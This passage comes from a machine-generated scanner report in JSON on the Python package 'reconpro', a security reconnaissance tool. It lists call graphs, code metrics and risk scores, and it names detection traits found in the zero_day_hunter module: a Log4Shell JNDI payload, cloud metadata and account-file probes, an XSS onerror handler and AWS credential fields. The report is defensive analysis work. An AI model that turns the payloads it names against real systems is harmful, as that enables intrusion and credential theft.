"", "h_name.lower" ], [ "", "re.search" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "_host_from_url" ], [ "", "base_url.rstrip" ], [ "", "_safe_probe" ], [ "", "resp.get" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_severity_points" ], [ "", "_dread_score" ], [ "", "resp.get.get" ], [ "", "resp.get" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "ERROR_SIGNATURES.items" ], [ "", "re.search" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_severity_points" ], [ "", "_dread_score" ], [ "", "base_url.rstrip" ], [ "", "_safe_probe" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "resp.get" ], [ "", "_dread_score" ], [ "", "resp.get.get" ], [ "", "resp.get" ], [ "", "_detect_response_anomalies" ], [ "", "all_findings.extend" ], [ "", "_analyze_error_messages" ], [ "", "all_findings.extend" ], [ "", "_correlate_versions" ], [ "", "all_findings.extend" ], [ "", "_score_behavioral_anomalies" ], [ "", "all_findings.extend" ], [ "", "_analyze_fuzzing_results" ], [ "", "all_findings.extend" ], [ "", "_detect_header_anomalies" ], [ "", "all_findings.extend" ], [ "", "_map_endpoint_sensitivity" ], [ "", "all_findings.extend" ], [ "", "..http_layer" ], [ "", "..http_layer.Finding" ], [ "", "..http_layer.default_limiter" ], [ "", "..http_layer.http_probe" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "Optional" ], [ "", "Tuple" ], [ "", "math" ], [ "", "re" ], [ "", "statistics" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.parse" ] ], "mbr": [ "ANOMALY_THRESHOLDS.body_entropy", "ANOMALY_THRESHOLDS.body_entropy.high_entropy_threshold", "ANOMALY_THRESHOLDS.body_entropy.low_entropy_threshold", "ANOMALY_THRESHOLDS.consistency", "ANOMALY_THRESHOLDS.consistency.max_size_ratio", "ANOMALY_THRESHOLDS.consistency.max_status_variance", "ANOMALY_THRESHOLDS.headers", "ANOMALY_THRESHOLDS.headers.missing_security_headers", "ANOMALY_THRESHOLDS.response_size", "ANOMALY_THRESHOLDS.response_size.abnormally_small_ok", "ANOMALY_THRESHOLDS.response_size.size_variance_sigma", "ANOMALY_THRESHOLDS.status_codes", "ANOMALY_THRESHOLDS.status_codes.anomaly_codes", "ANOMALY_THRESHOLDS.status_codes.unexpected_5xx_on_static", "ANOMALY_THRESHOLDS.timing", "ANOMALY_THRESHOLDS.timing.suspicious_slow_ms", "ANOMALY_THRESHOLDS.timing.time_based_blind_threshold_ms", "ANOMALY_THRESHOLDS.timing.timing_variance_sigma", "DREAD_SCALE.get", "ERROR_SIGNATURES.get", "ERROR_SIGNATURES.items", "VERSION_VULN_DB.items", "all_findings.extend", "all_headers.items", "base_url.rstrip", "baseline_resp.get", "baseline_resp.get.keys", "baseline_resp.status", "baseline_sizes.append", "baseline_statuses.append", "entry.expected_without_auth", "entry.label", "entry.path", "entry.sensitivity", "entry.version_pattern", "entry.vulnerable_ranges", "findings.append", "freq.get", "freq.values", "h.lower", "h1.get", "h2.get", "h_name.lower", "m.group", "match.group", "math.log2", "p1.extend", "p2.extend", "param_responses.append", "parsed.netloc", "parsed.netloc.split", "parts.append", "pattern_entry.description", "pattern_entry.header", "pattern_entry.indicates", "pattern_entry.severity", "payload.category", "payload.label", "payload.value", "r.body_length", "r.elapsed_ms", "r.get", "r.get.get", "r.get.items", "r.params", "r.path", "r.path.lower", "r.path.lower.endswith", "r.status", "r1.get", "r1.status", "r2.get", "r2.status", "re.DOTALL", "re.IGNORECASE", "re.search", "re.split", "resp.body_length", "resp.elapsed_ms", "resp.get", "resp.get.get", "resp.get.items", "resp.params", "resp.path", "resp.status", "resp.url", "responses.append", "root_resp.get", "root_resp.status", "seen.add", "seen_signatures.add", "sig.description", "sig.get", "sig.name", "sig.pattern", "sig.severity", "statistics.StatisticsError", "statistics.mean", "statistics.stdev", "time.monotonic", "urllib.parse", "urllib.parse.quote", "urllib.parse.urlencode", "urllib.parse.urlencode.encode", "urllib.parse.urlparse", "value.encode", "version_sources.append", "version_sources.extend", "vuln_range.cve", "vuln_range.desc", "vuln_range.get" ], "tgt": [ "DREAD_SCALE.get", "ERROR_SIGNATURES.get", "ERROR_SIGNATURES.items", "Finding", "VERSION_VULN_DB.items", "_analyze_error_messages", "_analyze_fuzzing_results", "_correlate_versions", "_detect_header_anomalies", "_detect_response_anomalies", "_dread_score", "_host_from_url", "_map_endpoint_sensitivity", "_parts", "_safe_probe", "_score_behavioral_anomalies", "_severity_points", "_shannon_entropy", "_version_cmp", "_version_in_range", "abs", "all_findings.extend", "all_headers.items", "any", "base_url.rstrip", "baseline_resp.get", "baseline_resp.get.keys", "baseline_sizes.append", "baseline_statuses.append", "findings.append", "freq.get", "freq.values", "h.lower", "h1.get", "h2.get", "h_name.lower", "http_probe", "int", "len", "list", "m.group", "match.group", "math.log2", "max", "min", "p1.extend", "p2.extend", "param_responses.append", "parsed.netloc.split", "parts.append", "r.get", "r.get.get", "r.get.items", "r.path.lower", "r.path.lower.endswith", "r1.get", "r2.get", "re.search", "re.split", "resp.get", "resp.get.get", "resp.get.items", "responses.append", "root_resp.get", "round", "seen.add", "seen_signatures.add", "set", "sig.get", "sorted", "statistics.mean", "statistics.stdev", "str", "time.monotonic", "urllib.parse.quote", "urllib.parse.urlencode", "urllib.parse.urlencode.encode", "urllib.parse.urlparse", "value.encode", "version_sources.append", "version_sources.extend", "vuln_range.get", "zip" ], "funcs": [ [ "_dread_score", 31848 ], [ "_host_from_url", 32006 ], [ "_shannon_entropy", 32124 ], [ "_version_cmp", 32480 ], [ "_parts", 32527 ], [ "_version_in_range", 33033 ], [ "_safe_probe", 33283 ], [ "_severity_points", 33810 ], [ "_detect_response_anomalies", 34429 ], [ "_analyze_error_messages", 44468 ], [ "_correlate_versions", 47796 ], [ "_score_behavioral_anomalies", 51322 ], [ "_analyze_fuzzing_results", 59175 ], [ "_detect_header_anomalies", 69065 ], [ "_map_endpoint_sensitivity", 75807 ], [ "run_zero_day_hunter", 83460 ] ], "metrics": { "ast": { "op.add": 16, "op.bor": 2, "op.div": 5, "op.lor": 2, "op.mul": 7, "op.sub": 11, "op.land": 26, "max_depth": 23, "call_count": 310, "node_count": 18636, "member_count": 111, "max_array_len": 22, "op_density.add": 0, "op_density.bor": 0, "op_density.div": 0, "op_density.lor": 0, "op_density.mul": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 5, "member_depth_max": 4, "max_numeric_array": 6, "self_compare_count": 1 }, "file": { "size": 85811, "entropy": 4.86 }, "text": { "lines": 1577, "top_char": 101, "max_ws_run": 6, "digit_ratio": 0.03, "space_count": 20892, "char_entropy": 4.86, "unique_chars": 104, "top_char_null": 0, "lines_over_200": 37, "string_density": 1.06, "top_char_ratio": 0.06, "avg_line_length": 53.41, "max_line_length": 233, "non_ascii_ratio": 0.08, "empty_line_ratio": 0.09, "last_line_length": 23, "long_token_count": 30, "whitespace_ratio": 0.26, "identifier_density": 1.3, "line_length_stddev": 45.73, "encoded_string_ratio": 0, "normalized_string_count": 42.08, "repeated_char_sequences": 772, "suspicious_string_ratio": 0.01, "suspicious_comment_ratio": 0.1, "suspicious_identifier_ratio": 0.08, "normalized_unique_identifiers": 23.82 }, "binds": { "count": 186 }, "binary": { "peak_region_bytes": 12288, "peak_region_entropy": 5.18 }, "source": { "function_count": 16 }, "imports": { "count": 15, "relative": 4, "stdlib_count": 5, "stdlib_ratio": 0.33, "relative_ratio": 0.27, "third_party_count": 10, "third_party_ratio": 0.67 }, "strings": { "sql": 13, "bytes": 34507, "count": 1671, "shell": 3, "url_count": 1, "very_long": 1, "avg_length": 20.65, "max_length": 1572, "path_count": 66, "avg_entropy": 2.84, "empty_count": 19, "url_encoded": 1, "domain_count": 2, "entropy_stddev": 0.98, "high_entropy_count": 2, "embedded_code_candidates": 5 }, "comments": { "chars": 9360, "count": 90, "lines": 90, "high_entropy": 9, "to_code_ratio": 0.06 }, "functions": { "count": 16, "nested": 1, "density": 1.01, "avg_params": 3.06, "code_ratio": 0.6, "max_params": 6, "length_stddev": 58.84, "over_100_lines": 5, "avg_name_length": 18.19, "avg_length_lines": 59.31, "max_length_lines": 173, "min_length_lines": 2, "avg_nesting_depth": 0.06, "max_nesting_depth": 1, "high_entropy_names": 5, "single_char_params": 1, "avg_param_name_length": 7.35 }, "identifiers": { "count": 2043, "unique": 253, "avg_length": 8.4, "max_length": 27, "min_length": 1, "avg_entropy": 2.41, "reuse_ratio": 0.12, "length_stddev": 5.41, "has_digit_ratio": 0.06, "sequential_names": 20, "single_char_count": 12, "single_char_ratio": 0.05, "high_entropy_count": 12, "high_entropy_ratio": 0.05, "all_lowercase_ratio": 0.87, "all_uppercase_ratio": 0.04, "numeric_suffix_count": 14, "underscore_prefix_count": 16 } } }, "id": 143, "mol": "K(Am)O₆(Xe₃Ca₄ErLa₃Pr₂S)H₅(Cm₁₀Db₅F₂OsPo)Md₂(Pa)Th", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/zero_day_hunter.py", "pid": 0, "risk": 170, "sha": "eee0ee682d4755c8cde70fcc1bd0760f849ab6f8307758bc68414778ca0dbf99", "size": 85811, "traits": [ { "id": "metadata/file/literal::cve-pattern-many", "conf": 0.85, "crit": 3, "desc": "File contains six or more CVE references", "spans": [ [ 18280, 13 ], [ 18378, 13 ], [ 18459, 13 ], [ 18551, 13 ], [ 18658, 14 ], [ 18777, 13 ], [ 19019, 13 ], [ 19117, 13 ] ] }, { "id": "metadata/file/string/cloud::cloud-instance-metadata-link-local-host", "conf": 0.88, "crit": 3, "desc": "Cloud instance metadata link-local address", "spans": [ [ 25200, 15 ] ] }, { "id": "metadata/file/string/file::tmp", "conf": 0.2, "crit": 1, "desc": "tmp keyword", "spans": [ [ 15453, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 39555, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 387, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 187, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 82, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 812, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 137, 0 ] ] }, { "id": "metadata/package/testing/corpus::rce-category-label", "conf": 0.9, "crit": 3, "desc": "RCE attack category label", "spans": [ [ 19786, 3 ] ] }, { "id": "metadata/package/testing/corpus::sqli-category-label", "conf": 0.9, "crit": 3, "desc": "SQL injection category label", "spans": [ [ 23058, 4 ] ] }, { "id": "metadata/package/testing/corpus::ssrf-category-label", "conf": 0.9, "crit": 3, "desc": "SSRF attack category label", "spans": [ [ 25246, 4 ] ] }, { "id": "metadata/package/testing/corpus::xss-category-label", "conf": 0.9, "crit": 3, "desc": "XSS attack category label", "spans": [ [ 23525, 3 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::python-json-content-type", "conf": 0.94, "crit": 3, "desc": "Python JSON content type", "spans": [ [ 60948, 16 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlencode", "conf": 0.85, "crit": 3, "desc": "urllib urlencode for data serialization", "spans": [ [ 54429, 23 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-password-field", "atk": "T1071.001", "conf": 0.88, "crit": 1, "desc": "HTTP login password field", "spans": [ [ 45190, 0 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-path", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login path", "spans": [ [ 34930, 6 ], [ 60109, 10 ] ] }, { "id": "micro-behaviors/communications/http/post::post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "HTTP POST method string literal", "spans": [ [ 44956, 6 ] ] }, { "id": "micro-behaviors/communications/http/request/result::http-result-payload-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Named payload field", "spans": [ [ 33796, 9 ] ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::user-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph user collection endpoint", "spans": [ [ 26086, 6 ] ] }, { "id": "micro-behaviors/communications/http/url/encoded::long-base64-like-path-segment", "conf": 0.9, "crit": 3, "desc": "Path has long Base64-like segment", "spans": [ [ 44800, 31 ] ] }, { "id": "micro-behaviors/communications/http/url/endpoint::health-check-path", "conf": 0.9, "crit": 3, "desc": "HTTP health-check endpoint path", "spans": [ [ 26862, 11 ] ] }, { "id": "micro-behaviors/communications/http/url/endpoint::rest-admin-config-user-endpoints", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "REST admin config endpoints", "spans": [ [ 26306, 11 ], [ 26416, 12 ] ] }, { "id": "micro-behaviors/communications/http/url/query::password-query-parameter", "conf": 0.8, "crit": 3, "desc": "URL password query parameter", "spans": [ [ 45190, 10 ] ] }, { "id": "micro-behaviors/communications/http/url/query::query-serializer-call", "conf": 0.9, "crit": 3, "desc": "Calls a URL query serializer", "spans": [ [ 54429, 22 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::openssh", "conf": 0.5, "crit": 2, "desc": "OpenSSH string", "spans": [ [ 19495, 0 ] ] }, { "id": "micro-behaviors/data/buffer::overflow-padding-buffer", "conf": 0.9, "crit": 3, "desc": "Builds a large repeated-byte padding sled", "spans": [ [ 24437, 10 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 69569, 26 ], [ 70921, 33 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::set-construction", "conf": 0.75, "crit": 3, "desc": "Python set() construction", "spans": [ [ 45367, 11 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-password", "conf": 0.85, "crit": 1, "desc": "Connection password key", "spans": [ [ 45191, 0 ] ] }, { "id": "micro-behaviors/data/format/json::json-result-field", "conf": 0.8, "crit": 3, "desc": "JSON result or response field key", "spans": [ [ 33742, 9 ] ] }, { "id": "micro-behaviors/data/string/assembly::formatted-index-token-join", "conf": 0.96, "crit": 3, "desc": "Formatted tokens joined with spaces", "spans": [ [ 45613, 84 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 24008, 11 ] ] }, { "id": "micro-behaviors/fs/path/config/git::git-repository-config-path", "conf": 0.9, "crit": 3, "desc": "References a Git repository configuration path", "spans": [ [ 27837, 12 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 24996, 5 ], [ 25922, 5 ] ] }, { "id": "micro-behaviors/process/create/shell/spawn::python-bash-path", "atk": "T1059.004", "conf": 0.8, "crit": 3, "desc": "/bin/bash shell path in Python code", "spans": [ [ 66680, 9 ] ] }, { "id": "objectives/credential-access/cloud/aws-token::aws-shared-secret-key-field", "atk": "T1552.005", "conf": 0.95, "crit": 3, "desc": "AWS shared credentials secret key field", "spans": [ [ 15752, 21 ] ] }, { "id": "objectives/credential-access/dump/system::routeros-api-user-print", "atk": "T1003", "conf": 0.92, "crit": 3, "desc": "RouterOS API user print", "spans": [ [ 27076, 7 ] ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::aws-credential-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "AWS credential environment name", "spans": [ [ 15752, 21 ] ] }, { "id": "objectives/evasion/masquerade/extension-mismatch::quoted-font-path-literal", "atk": "T1036.008", "conf": 0.9, "crit": 3, "desc": "Quoted path ends in a font extension", "spans": [ [ 36767, 7 ], [ 36776, 6 ] ] }, { "id": "objectives/evasion/masquerade/extension-mismatch::quoted-interpreter-argv-head", "atk": "T1036.008", "conf": 0.9, "crit": 1, "desc": "Quoted interpreter opens an argv list", "spans": [ [ 6164, 0 ] ] }, { "id": "objectives/execution/automation/agent::vulnerability-state-marker-vulnerable", "atk": "T1059,T1190,T1595", "conf": 0.82, "crit": 3, "desc": "Vulnerable or CVE state marker", "spans": [ [ 18280, 13 ], [ 18378, 13 ], [ 18459, 13 ], [ 18551, 13 ], [ 18658, 14 ], [ 18777, 13 ], [ 19019, 13 ], [ 19117, 13 ] ] }, { "id": "objectives/execution/exploit/command-injection::log4shell-jndi-lookup-payload", "atk": "T1190", "mbc": "E1190", "conf": 0.99, "crit": 4, "desc": "Log4Shell JNDI lookup payload", "spans": [ [ 25087, 14 ] ] }, { "id": "objectives/execution/interpreter/cmd/injection::command-injection-comments", "atk": "T1059.006", "conf": 0.75, "crit": 3, "desc": "Command injection vulnerability comments", "spans": [ [ 10216, 17 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 24008, 11 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::internal-cloud-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Cloud metadata endpoint probe payload", "spans": [ [ 25200, 15 ] ] }, { "id": "objectives/lateral-movement/smb::ntlm-relay-ldap-target", "conf": 0.97, "crit": 3, "desc": "References an LDAP endpoint", "spans": [ [ 25094, 7 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 36478, 11 ] ] }, { "id": "well-known/app/network/openssh::package-context", "conf": 0.96, "crit": 2, "desc": "OpenSSH package or server artifact context", "spans": [ [ 19495, 0 ] ] }, { "id": "metadata/file/string/cloud::aws-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "AWS EC2 metadata endpoint", "spans": [ [ 25200, 32 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::json-header", "conf": 0.9, "crit": 3, "desc": "References HTTP Content-Type application/json", "spans": [ [ 60932, 32 ] ] }, { "id": "micro-behaviors/communications/http/server/listener::apache-tomcat-phrase", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "Apache Tomcat product name", "spans": [ [ 13276, 13 ] ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "spans": [ [ 25193, 40 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-drop-object", "conf": 0.8, "crit": 3, "desc": "DROP SQL object syntax reference", "spans": [ [ 54182, 10 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/string::os-string-windows", "conf": 0.4, "crit": 2, "desc": "Windows platform string", "spans": [ [ 9388, 0 ] ] }, { "id": "micro-behaviors/process/interpreter/shell::bin-sh", "conf": 0.6, "crit": 3, "desc": "/bin/sh shell interpreter path reference", "spans": [ [ 66693, 7 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-tomcat", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token tomcat", "spans": [ [ 13398, 6 ], [ 20621, 6 ] ] }, { "id": "objectives/privilege-escalation/exploit/keywords::img-onerror-handler", "atk": "T1059.007", "mbc": "E1090", "conf": 0.9, "crit": 3, "desc": "Image onerror event handler", "spans": [ [ 23592, 19 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 24120, 12 ] ] }, { "id": "metadata/package/testing/corpus::injection-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple injection attack-category labels", "uses": [ 10, 12 ], "spans": [ [ 23058, 4 ], [ 23525, 3 ] ] }, { "id": "metadata/package/testing/corpus::server-attack-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple server-side attack-category labels", "uses": [ 9, 11 ], "spans": [ [ 19786, 3 ], [ 25246, 4 ] ] }, { "id": "micro-behaviors/communications/http/server/listener::tomcat-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "References the Apache Tomcat web server", "uses": [ 51 ], "spans": [ [ 13276, 13 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "uses": [ 25 ], "spans": [ [ 19495, 0 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::aws-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "AWS instance metadata endpoint reference", "uses": [ 49 ], "spans": [ [ 25200, 32 ] ] }, { "id": "well-known/app/network/openssh::openssh-package", "conf": 0.98, "crit": 3, "desc": "OpenSSH package context", "uses": [ 48 ], "spans": [ [ 19495, 8 ] ] }, { "id": "objectives/discovery/cloud/metadata::cloud-metadata-access", "conf": 0.85, "crit": 1, "desc": "Cloud metadata endpoint reference", "uses": [ 49 ], "spans": [ [ 25200, 0 ] ] }, { "id": "third_party/SigBase/EXPL/Log4J/CVE/2021/44228/Dec21/Soft", "conf": 0.9, "crit": 5, "desc": "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228", "spans": [ [ 25087, 13 ] ] } ], "type": "python" }, { "id": 144, "mol": "O(As)", "sha": "397b26f99f0146e6d8e99411ee5eaefb85cd4a0903fdf38e0be6d9ac0b56ba7d", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/__init__.py", "risk": 1, "size": 1594, "type": "python", "depth": 1 }, { "id": 145, "mol": "K(Li)O(As₂)H(Db)", "sha": "01e8cfcd1426845b0bf25c6b6d479ef48692711fb1807a53a6a0d17c513ed5d8", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/analysis.py", "risk": 3, "size": 10926, "type": "python", "depth": 1 }, { "id": 146, "mol": "O(C)H₂(Cr₂Db₂)Md(In)", "sha": "da5815b1228a78368cfeb2cccf8984c4dc7e94a7d3f7908b34c0cbd46b0031d0", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/crypto.py", "risk": 7, "size": 5271, "type": "python", "depth": 1 }, { "id": 147, "mol": "O₂(AsC₂)H₄(CmCrDb₅F₅)", "sha": "50c3f342fb98c2b968a7549a0bcc9722e12d47698aabc24d0d4bd2dd7050bf42", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/manager.py", "risk": 13, "size": 21520, "type": "python", "depth": 1 }, { "id": 148, "mol": "O(Er)H₂(CmDb₂)", "sha": "0728d602992e44b5e8b16fa2c847f8eab4203c57ee4b8e7bdfb840d0a5255339", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/manifest.py", "risk": 4, "size": 6593, "type": "python", "depth": 1 }, { "id": 149, "mol": "O₂(SXe)H₂(DbF₂)", "sha": "38dc57b9e3089816537cc6d93e7a1abf0b0c7eea5e04892015a3db24cf119858", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/permissions.py", "risk": 5, "size": 7026, "type": "python", "depth": 1 }, { "id": 150, "mol": "O₂(CaS)H₄(DbF₃Os₆Po₄)", "sha": "2250e7b758d83d07b56c07e933927169ad170affed40ea01c47eb42c2b389aba", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/runner.py", "risk": 10, "size": 9316, "type": "python", "depth": 1 }, { "id": 151, "mol": "O(Pr)H(Db)", "sha": "ea2e46bc194c3abcb1f2a8b2caf52b4e3e9e5acad66d5edb39018a781866190a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/scaffold.py", "risk": 2, "size": 5055, "type": "python", "depth": 1 }, { "id": 152, "mol": "O(C)H₅(CmDb₄F₃OsPo₃)", "sha": "e2a675cc8c9ede3c1fcf4a0db2a1251febed8b8773c103498960b4aa91775be4", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/plugin_sdk/worker.py", "risk": 12, "size": 16799, "type": "python", "depth": 1 }, { "id": 153, "mol": "O₄(AsDyEuPr)H₃(Db₃FOs)", "sha": "293b984d4cf709cf8da8dd6337a76ef6ee20371ccd9dfd61c34d2e6623e85e92", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/scripts/benchmark_intelligence.py", "risk": 9, "size": 13363, "type": "python", "depth": 1 }, { "id": 154, "mol": "K(Te)O₄(AsDyEuPr)H₄(Db₄FOsPo)", "sha": "d92176b00e034a67d607951db431b7e8da4aad2f70a97b0cf6d6070a5da40757", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/scripts/benchmark_v11.py", "risk": 11, "size": 13204, "type": "python", "depth": 1 }, { "id": 155, "mol": "K₂(AmTe)O₂(ErPr)H₂(CmDb₃)Md(Pa)", "sha": "45b279710a6ebf8f9ad7daf9c17edd7ee6ee3ef21c18a569ac68b56793667320", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/scripts/generate_engineering_report.py", "risk": 9, "size": 45108, "type": "python", "depth": 1 }, { "id": 156, "mol": "K₃(AmMcTe)O(Er)H₄(Cm₂Db₂FOs)Md₂(Pa)", "sha": "c683dbc776bcbd8bca60543b72aea65f70d654ae81b38605cb2109857f5bd220", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/scripts/generate_v11_report.py", "risk": 11, "size": 34447, "type": "python", "depth": 1 }, { "id": 158, "mol": "H₃(DbOsPo)Md(Pa)", "sha": "e914cc0f77b08457e0691d8ce7f61d6b7b6dbfe9270526fb69581da7cf652aa5", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/run_tests.py", "risk": 4, "size": 1358, "type": "python", "depth": 1 }, { "id": 159, "mol": "O₄(DyLa₂PrXe₂)H₄(Cm₂Db₂FOs₂)Md₂(Pa₂)", "sha": "b49f90a9e9455f49b3ce01c9481ff99a2f5aec96ea547a8360d334a608147a92", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_ai_analyst.py", "risk": 13, "size": 32315, "type": "python", "depth": 1 }, { "id": 160, "mol": "H₃(DbFOs)Md(Pa₂)", "sha": "6540e4ecaa55209fb6e2213cccfd8ea03207ba263b2bee79a7a4342c645b8b7c", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_attack_graph.py", "risk": 5, "size": 12676, "type": "python", "depth": 1 }, { "id": 161, "mol": "K(Mc)H₄(CrDb₃F₂Os)Md₃(Pa)", "sha": "765670d08530e376138af8e01efb80056def6a2b9feb3197e79c4c4942ca255a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_auto_engineering.py", "risk": 10, "size": 67916, "type": "python", "depth": 1 }, { "id": 162, "mol": "K(Te)O(Dy)H₅(Cm₂Db₅F₃OsPo₂)Md₂(Pa)", "sha": "8594db7d1825e9462b5ade556b08ca3e75507ea940cca2f0c1a273d65d57df34", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_auto_fix.py", "risk": 13, "size": 61324, "type": "python", "depth": 1 }, { "id": 163, "mol": "K₂(McTe)H₅(Cm₂Db₂F₃Os₂Po₂)Md₂(Pa)", "sha": "fd91b3c2f5cbfe6af75880db21511fee725dacdec22d0fd77a45daa30436d06e", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_auto_validation.py", "risk": 13, "size": 50055, "type": "python", "depth": 1 }, { "id": 164, "mol": "O₃(DyEuS)H₅(Db₃F₃OsPo₃Ti)Md(Pa)", "sha": "448ccc247988e785a4c14873e66900f8db2b93ea8a07baf824dd78df514af628", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_benchmark_automation.py", "risk": 13, "size": 37838, "type": "python", "depth": 1 }, { "id": 165, "mol": "O(Pr)H₄(Db₄FOsPo)Md(Pa)", "sha": "8227ebcd313722ab2d231e01941bec3ea2dc637ecd81e147b7fa0b9d70508966", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_cli.py", "risk": 8, "size": 20500, "type": "python", "depth": 1 }, { "id": 166, "mol": "H₃(DbFOs)Md(Pa)", "sha": "d26756c4b73fe448fa93a452c80e0aad54c8776dd448da7c5bc6f3b683864088", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_constants.py", "risk": 4, "size": 6385, "type": "python", "depth": 1 }, { "id": 167, "mol": "O(Pr)H₄(CmDbFOs)Md(Pa)", "sha": "bfd9fec9eb5ca41e9e31ed7e1b94a6c60585978ff5218fa55023358522c09bbf", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_coverage_boost.py", "risk": 7, "size": 26170, "type": "python", "depth": 1 }, { "id": 168, "mol": "O(Dy)H₃(DbFOs)Md(Pa)", "sha": "e475e7866bc1d8c2670a8b2a58accbb706b149b1adb62e76f30fdf8f13a43749", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_diagnostics.py", "risk": 5, "size": 22289, "type": "python", "depth": 1 }, { "id": 169, "mol": 